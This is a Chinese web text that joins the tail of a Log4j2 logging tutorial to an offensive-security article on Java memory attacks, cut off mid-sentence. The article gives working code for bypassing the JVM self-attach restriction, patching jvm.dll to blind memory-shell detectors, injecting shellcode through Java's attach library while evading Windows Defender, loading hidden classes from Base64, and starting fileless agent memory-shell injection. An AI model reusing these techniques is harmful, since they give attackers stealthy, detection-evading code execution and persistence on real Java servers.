来高亮显示日志级别%c 用来输出类名,默认输出的是完整的包名和类名,%c{1.} 输出包名的首字母和完整类名%t 表示线程名称%m 表示日志内容,%M 表示方法名称%n 表示换行符%L 表示打印日志的代码行数%msg 日志文本%-5level 输出日志级别,-5表示左对齐并且固定输出5个字符,如果不足在右边补0、%logger 输出logger名称,因为Root Logger没有名称,所以没有输出%F 输出所在的类文件名,如:Log4j2Test.java详细配置信息可查看Log4j2中文文档:Log4j2 中文文档 - Log4j2 2.x Manual | Docs4devMaven项目使用1、引入依赖<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.12.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.12.1</version> </dependency>2、可进行文件配置,也可直接使用(直接使用默认输出级别为Error)import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4j2HelloWorld { private static final Logger logger = LogManager.getLogger(Log4j2HelloWorld.class); public static void main(String[] args) { logger.error("This is a error"); } }SpringBoot整合Log4j21、引入依赖由于SpringBoot默认使用SLF4J+LogBack,所以如果要使用Log4j2,就需要从spring-boot-starter-web中去掉spring-boot-starter-logging依赖,同时引入Log4j2的依赖jar包。<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <exclusions> <!-- 去掉默认配置 --> <exclusion> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-logging</artifactId> </exclusion> </exclusions> </dependency> <!-- 引入log4j2依赖 --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-log4j2</artifactId> </dependency>2、定义配置文件(不做展示)3、在代码中使用 public class Main { private static final Logger logger = LoggerFactory.getLogger(Main.class); public static void main(String[] args) { logger.info("这是info信息"); logger.warn("这是warn信息"); logger.debug("这是debug信息"); } }———————————————— 原文链接:https://blog.csdn.net/qq_53998646/article/details/129999120
-
前言Java技术栈漏洞目前业已是web安全领域的主流战场,随着IPS、RASP等防御系统的更新迭代,Java攻防交战阵地已经从磁盘升级到了内存里面。在今年7月份上海银针安全沙龙上,我分享了《Java内存攻击技术漫谈》的议题,个人觉得PPT承载的信息比较离散,技术类的内容还是更适合用文章的形式来分享,所以一直想着抽时间写一篇和议题配套的文章,不巧赶上南京的新冠疫情,这篇文章拖了一个多月才有时间写。allowAttachSelf绕过Java的instrument是Java内存攻击常用的一种机制,instrument通过attach方法提供了在JVM运行时动态查看、修改Java类的功能,比如通过instrument动态注入内存马。但是在Java9及以后的版本中,默认不允许SelfAttach:Attach API cannot be used to attach to the current VM by default The implementation of Attach API has changed in JDK 9 to disallow attaching to the current VM by default. This change should have no impact on tools that use the Attach API to attach to a running VM. It may impact libraries that misuse this API as a way to get at the java.lang.instrument API. The system property jdk.attach.allowAttachSelf may be set on the command line to mitigate any compatibility with this change. 也就是说,系统提供了一个jdk.attach.allowAttachSelf的VM参数,这个参数默认为false,且必须在Java启动时指定才生效。编写一个demo尝试attach自身PID,提示Can not attach to current VM,如下:经过分析attch API的执行流程,定位到如下代码:由上图可见,attach的时候会创建一个HotSpotVirtualMachine的父类,这个类在初始化的时候会去获取VM的启动参数,并把这个参数保存至HotSpotVirtualMachine的ALLOW_ATTACH_SELF属性中,恰好这个属性是个静态属性,所以我们可以通过反射动态修改这个属性的值。构造如下POC: Class cls=Class.forName("sun.tools.attach.HotSpotVirtualMachine"); Field field=cls.getDeclaredField("ALLOW_ATTACH_SELF"); field.setAccessible(true); Field modifiersField=Field.class.getDeclaredField("modifiers"); modifiersField.setInt(field,field.getModifiers()&~Modifier.FINAL); field.setBoolean(null,true);由于ALLOW_ATTACH_SELF字段有final修饰符,所以在修改ALLOW_ATTACH_SELF值的同时,也需要把它的final修饰符给去掉(修改的时候,会有告警产提示,不影响最终效果,可以忽略)。修改后,可以成功attach到自身进程,如下图:这样,我们就成功绕过了allowAttachSelf的限制。内存马防检测随着攻防热度的升级,内存马注入现在已经发展成为一个常用的攻击技术。目前业界的内存马主要分为两大类:Agent型利用instrument机制,在不增加新类和新方法的情况下,对现有类的执行逻辑进行修改。JVM层注入,通用性强。非Agent型通过新增一些Java web组件(如Servlet、Filter、Listener、Controller等)来实现拦截请求,从而注入木马代码,对目标容器环境有较强的依赖性,通用性较弱。由于内存马技术的火热,内存马的检测也如火如荼,针对内存马的检测,目前业界主要有两种方法:基于反射的检测方法该方法是一种轻量级的检测方法,不需要注入Java进程,主要用于检测非Agent型的内存马,由于非Agent型的内存马会在Java层新增多个类和对象,并且会修改一些已有的数组,因此通过反射的方法即可检测,但是这种方法无法检测Agent型内存马。基于instrument机制的检测方法该方法是一种通用的重量级检测方法,需要将检测逻辑通过attach API注入Java进程,理论上可以检测出所有类型的内存马。当然instrument不仅能用于内存马检测,java.lang.instrument是Java 1.5引入的一种可以通过修改字节码对Java程序进行监测的一种机制,这种机制广泛应用于各种Java性能检测框架、程序调试框架,如JProfiler、IntelliJ IDE等,当然近几年比较流行的RASP也是基于此类技术。既然通过instrument机制能检测到Agent型内存马,那我们怎么样才能避免被检测到呢?答案比较简单,也比较粗暴,那就是把instrument机制破坏掉。这也是在冰蝎3.0中内存马防检测机制的实现原理,检测软件无法attach,自然也就无法检测。首先,我们先分析一下instrument的工作流程,如下图:检测工具作为Client,根据指定的PID,向目标JVM发起attach请求;JVM收到请求后,做一些校验(比如上文提到的jdk.attach.allowAttachSelf的校验),校验通过后,会打开一个IPC通道。接下来Client会封装一个名为AttachOperation的C++对象,发送给Server端;Server端会把Client发过来的AttachOperation对象放入一个队列;Server端另外一个线程会从队列中取出AttachOperation对象并解析,然后执行对应的操作,并把执行结果通过IPC通道返回Client。由于该套流程的具体实现在不同的操作系统平台上略有差异,因此接下来我分平台来展开。windows平台通过分析定位到如下关键代码:可以看到当var5不等于0的时候,attach会报错,而var5是从var4中读取的,var4是execute的返回值,跟入execute,如下:可以看到,execute方法又把核心工作交给了方法enqueue,这个方法是一个native方法,如下图:继续跟入enqueue方法:可以看到enqueue中封装了一个DataBlock对象,里面有几个关键参数:strcpy(data.jvmLib, "jvm");strcpy(data.func1, "JVM_EnqueueOperation");strcpy(data.func2, "_JVM_EnqueueOperation@20");以上操作都发生在Client侧,接下来我们转到Server侧,定位到如下代码:这段代码是把Client发过来的对象进行解包,然后解析里面的指令。经常写Windows shellcode的人应该会看到两个特别熟悉的API:GetModuleHandle、GetProcAddress,这是动态定位DLL中导出函数的常用API。这里的操作就是动态从jvm.dll中动态定位名称为JVM_EnqueueOperation和_JVM_EnqueueOperation@20的两个导出函数,这两个函数就是上文流程图中将AttachOperation对象放入队列的执行函数。到这里我想大家应该知道接下来该怎么做了,那就是inlineHook。我们只要把jvm.dll中的这两个导出函数给NOP掉,不就可以成功把instrument的流程给破坏掉了么?静态分析结束了,接下来动态调试Server侧,定位到如下位置:图中RIP所指即为JVM_EnqueueOperation函数的入口,我们只要让RIP执行到这里直接返回即可:怎么修改呢?当然是用JNI,核心代码如下:unsigned char buf[]="\xc2\x14\x00"; //32,direct return enqueue functionHINSTANCE hModule = LoadLibrary(L"jvm.dll");//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");LPVOID dst=GetProcAddress(hModule,"_JVM_EnqueueOperation@20");DWORD old;if (VirtualProtectEx(GetCurrentProcess(),dst, 3, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 3, NULL);VirtualProtectEx(GetCurrentProcess(), dst, 3, old, &old);} /*unsigned char buf[]="\xc3"; //64,direct return enqueue functionHINSTANCE hModule = LoadLibrary(L"jvm.dll");//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");LPVOID dst=GetProcAddress(hModule,"JVM_EnqueueOperation");//printf("ConnectNamedPipe:%p",dst);DWORD old;if (VirtualProtectEx(GetCurrentProcess(),dst, 1, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);}*/注意这里要考虑32位和64位的区别,同时要注意堆栈平衡,否则可能会导致进程crash。到此,我们就实现了Windows平台上的内存马防检测(Anti-Attach)功能,我们尝试用JProfiler连接试一下,可见已经无法attach到目标进程了:以上即是Windows平台上的内存马防检测功能原理。Linux平台在Linux平台,instrument的实现略有不同,通过跟踪整个流程定位到如下代码:可以看到,在Linux平台上,IPC通信采用的是UNIX Domain Socket,因此想破坏Linux平台下的instrument attach流程还是比较简单的,只要把对应的UNIX Domain Socket文件删掉就可以了。删掉后,我们尝试对目标JVM进行attach,便会提示无法attach:到此,我们就实现了Linux平台上的内存马防检测(Anti-Attach)功能,当然其他*nix-like的操作系统平台也同样适用于此方法。最后说一句,内存马防检测,其实可以在上述instrument流程图中的任意一个环节进行破坏,都可以实现Anti-Attach的效果。Java原生远程进程注入在Windows平台上,进程代码注入有很多种方法,最经典的方法要属CreateRemoteThread,但是这些方法大都被防护系统盯得死死的,比如我写了如下一个最简单的远程注入shellcode的demo:往当前进程里植入一个弹计算器的shellcode,编译,运行,然后意料之中出现如下这种情况:但是经过分析JVM的源码我发现,在Windows平台上,Java在实现instrument的时候,出现了一个比较怪异的操作。在Linux平台,客户端首先是先和服务端协商一个IPC通道,然后后续的操作都是通过这个通道传递AttachOperation对象来实现,换句话说,这中间传递的都是数据,没有代码。但是在Windows平台,客户端也是首先和服务端协商了一个IPC通道(用的是命名管道),但是在Java层的enqueue函数中,同时还使用了CreateRemoteThread在服务端启动了一个stub线程,让这个线程去在服务端进程空间里执行enqueue操作:这个stub执行体pCode是在客户端的native层生成的,生成之后作为thread_func传给服务端。但是,虽然stub是在native生成的,这个stub却又在Java层周转了一圈,最终在Java层以字节数组的方式作为Java层enqueue函数的一个参数传进Native。这样就形成了一个完美的原生远程进程注入,构造如下POC:import java.lang.reflect.Method; public class ThreadMain { public static void main(String[] args) throws Exception { System.loadLibrary("attach"); Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine"); for (Method m:cls.getDeclaredMethods()) { if (m.getName().equals("enqueue")) { long hProcess=-1; //hProcess=getHandleByPid(30244); byte buf[] = new byte[] //pop calc.exe { (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51, (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed, (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b, (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56, (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24, (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41, (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83, (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d, (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b, (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2, (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff, (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c, (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47, (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89, (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e, (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00 }; String cmd="load";String pipeName="test"; m.setAccessible(true); Object result=m.invoke(cls,new Object[]{hProcess,buf,cmd,pipeName,new Object[]{}}); System.out.println("result:"+result); } } Thread.sleep(4000); } public static long getHandleByPid(int pid) { Class cls= null; long hProcess=-1; try { cls = Class.forName("sun.tools.attach.WindowsVirtualMachine"); for (Method m:cls.getDeclaredMethods()) { if (m.getName().equals("openProcess")) { m.setAccessible(true); Object result=m.invoke(cls,pid); System.out.println("pid :"+result); hProcess=Long.parseLong(result.toString()); } } } catch (Exception e) { e.printStackTrace(); } return hProcess; }}编译,执行:成功执行shellcode,而且Windows Defender没有告警,天然免杀。毕竟,谁能想到有着合法签名安全可靠的Java.exe会作恶呢:)至此,我们实现了Windows平台上的Java远程进程注入。另外,这个技术还有个额外效果,那就是当注入进程的PID设置为-1的时候,可以往当前Java进程注入任意Native代码,以实现不用JNI执行任意Native代码的效果。这样就不需要再单独编写JNI库来执行Native代码了,也就是说,上文提到的内存马防检测机制,不需要依赖JNI,只要纯Java代码也可以实现。冰蝎3.0中提供了一键cs上线功能,采用的是JNI机制,中间需要上传一个临时库文件才能实现上线。现在利用这个技术,可以实现一个JSP文件或者一个反序列化Payload即可上线CS:自定义类调用系统Native库函数在上一小节Java原生远程进程注入中,我的POC里是通过反射创建了一个sun.tools.attach.VirtualMachineImpl类,然后再去调用类里面的enqueue这个Native方法。这时可能会有同学有疑惑,这个Native方法位于attach.dll,这个dll是JDK和Server-JRE默认自带的,但是这个sun.tools.attach.VirtualMachineImpl类所在的tools.jar包并不是每个JDK环境都有的。这个技术岂不是要依赖tools.jar?因为有些JDK环境是没有tools.jar的。当然,这个担心是没必要的。我们只要自己写一个类,类的限定名为sun.tools.attach.VirtualMachineImpl即可。不过可能还会有疑问,我们自己写一个sun.tools.attach.VirtualMachineImpl类,但是如果某个目标里确实有tools.jar,那我们自己写的类在加载的时候就会报错,有没有一个更通用的方法呢?当然还是有的。其实这个方法在冰蝎1.0版本的时候就已经解决了,那就是用一个自定义的classLoader。但是我们都知道classLoader在loadClass的时候采用双亲委托机制,也就是如果系统中已经存在一个类,即使我们用自定义的classLoader去loadClass,也会返回系统内置的那个类。但是如果我们绕过loadClass,直接去defineClass即可从我们指定的字节码数组里创建类,而且类名我们可以任意自定义,重写java.lang.String都没问题:) 然后再用defineClass返回的Class去实例化,然后再调用我们想调用的Native函数即可。因为Native函数在调用的时候只检测发起调用的类限定名,并不检测发起调用类的ClassLoader,这是我们这个方法能成功的原因。比如我们自定义如下这个类:package sun.tools.attach; import java.io.IOException;import java.util.Scanner; public class WindowsVirtualMachine { static native void enqueue(long hProcess, byte[] stub, String cmd, String pipename, Object... args) throws IOException; static native long openProcess(int pid) throws IOException; public static void run(byte[] buf) { System.loadLibrary("attach"); try { enqueue(-1, buf, "test", "test", new Object[]{}); } catch (Exception e) { e.printStackTrace(); } }}然后把这个类编译成class文件,把这个文件用Base64编码,然后写到如下POC里:import java.io.*;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.security.Permission;import java.util.Arrays;import java.util.Base64; public class Poc { public static class Myloader extends ClassLoader //继承ClassLoader { public Class get(byte[] b) { return super.defineClass(b, 0, b.length); } } public static void main(String[] args) { try { String classStr="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"; Class result = new Myloader().get(Base64.getDecoder().decode(classStr)); for (Method m:result.getDeclaredMethods()) { System.out.println(m.getName()); if (m.getName().equals("run")) { m.invoke(result,new byte[]{}); } } } catch (Exception e) { e.printStackTrace(); } }}这样就可以通过自定义一个系统内置类来加载系统库函数的Native方法。无文件落地Agent型内存马植入可行性分析前面我们讲到了目前Java内存马的分类:Agent型内存马和非Agent型内存马。由于非Agent型内存马注入后,会产生新的类和对象,同时还会产生各种错综复杂的相互引用关系,比如要创建一个恶意Filter内存马,需要先修改已有的FilterMap,然后新增FilterConfig、FilterDef,最后还要修改FilterChain,这一系列操作产生的脏数据过多,不够整洁。因此我还是认为Agent型内存马才是更理想的内存马。但是目前来看,Agent型内存马的缺点也非常明显:磁盘有agent文件落地需要上传文件,植入步骤复杂如无写文件权限,则无法植入众所周知,想要动态修改JVM中已经加载的类的字节码,必须要通过加载一个Agent来实现,这个Agent可以是Java层的agent.jar,也可以是Native层的agent.so,但是必须要有个agent。有没有一种方法可以既优雅又简洁的植入Agent型内存马呢?换句话说,有没有一种方法可以在不依赖额外Agent的情况下,动态修改JVM中已经加载的类的字节码呢?以前没有,现在有了:)首先,我们先看一下通过Agent动态修改类的流程:在客户端和目标JVM建立IPC连接以后,客户端会封装一个用来加载agent.jar的AttachOperation对象,这个对象里面有三个关键数据:actioName、libName和agentPath;服务端收到AttachOperation后,调用enqueue压入AttachOperation队列等待处理;服务端处理线程调用dequeue方法取出AttachOperation;服务端解析AttachOperation,提取步骤1中提到的3个参数,调用actionName为load的对应处理分支,然后加载libinstrument.so(在windows平台为instrument.dll),执行AttachOperation的On_Attach函数(由此可以看到,Java层的instrument机制,底层都是通过Native层的Instrument来封装的);libinstrument.so中的On_Attach会解析agentPath中指定的jar文件,该jar中调用了redefineClass的功能;执行流转到Java层,JVM会实例化一个InstrumentationImpl类,这个类在构造的时候,有个非常重要的参数mNativeAgent:这个参数是long型,其值是一个Native层的指针,指向的是一个C++对象JPLISAgent。7. InstrumentationImpl实例化之后,再继续调用InstrumentationImpl类的redefineClasses方法,做稍许校验之后继续调用InstrumentationImpl的Native方法redefineClasses08. 执行流继续走入Native层:继续跟入:做了一系列判断之后,最终调用jvmtienv的redefineClasses方法执行类redefine操作:接下来理一下思路,在上面的8个步骤中,我们只要能跳过前面5个步骤,直接从步骤6开始执行,即可实现我们的目标。那么问题来了,步骤6中在实例化InstrumentationImpl的时候需要的非常重要的mNativeAgent参数值,这个值是一个指向JPLISAgent对象的指针,这个值我们不知道。只有一个办法,我们需要自己在Native层组装一个JPLISAgent对象,然后把这个对象的地址传给Java层InstrumentationImpl的构造器,就可以顺利完成后面的步骤。组装JPLISAgentNative内存操作想要在Native内存上创建对象,首先要获取可控的Native内存操作能力。我们知道Java有个DirectByteBuffer,可以提供用户申请堆外内存的能力,这也就说明DirectByteBuffer是有操作Native内存的能力,而DirectByteBuffer底层其实使用的是Java提供的Unsafe类来操作底层内存的,这里我们也直接使用Unsafe进行Native内存操作。通过如下代码获取Unsafe:Unsafe unsafe = null; try { Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null);} catch (Exception e) { throw new AssertionError(e);}通过unsafe的allocateMemory、putlong、getAddress方法,可以实现Native内存的分配、读写。分析JPLISAgent结构接下来,就是分析JPLISAgent对象的结构了,如下:JPLISAgent是一个复杂的数据结构。由上文中redefineClasses代码可知,最终实现redefineClasses操作的是*jvmtienv的redefineClasses函数。但是这个jvmtienv的指针,是通过jvmti(JPLISAgent)推导出来的,如下:而jvmti是一个宏:而在执行到*jvmtienv的redefineClasses之前,还有多处如下调用都用到了jvmtienv:因此,我们至少要保证我们自己组装的JPLISAgent对象需要成功推导出jvmtienv的指针,也就是JPLISAgent的mNormalEnvironment成员,其结构如下:可以看到这个结构里存在一个回环指针mAgent,又指向了JPLISAgent对象,另外,还有个最重要的指针mJVMTIEnv,这个指针是指向内存中的JVMTIEnv对象的,这是JVMTI机制的核心对象。另外,经过分析,JPLISAgent对象中还有个mRedefineAvailable成员,必须要设置成true。接下来就是要确定JVMTIEnv的地址了。定位JVMTIEnv通过动态分析可知,0x000002E62D8EE950为JPLISAgent的地址,0x000002E62D8EE950+0x8(0x000002E62D8EEB60)为mJVMTIEnv,即指向JVMTIEnv指针的指针:转到该指针:可以看到0x6F78A220即为JVMTIEnv对象的真实地址,通过分析发现,该对象存在于jvm模块的地址空间中,而且偏移量是固定的,那只要找到jvm模块的加载基址,加加上固定的偏移量即是JVMTIEnv对象的真实地址。但是,现代操作系统默认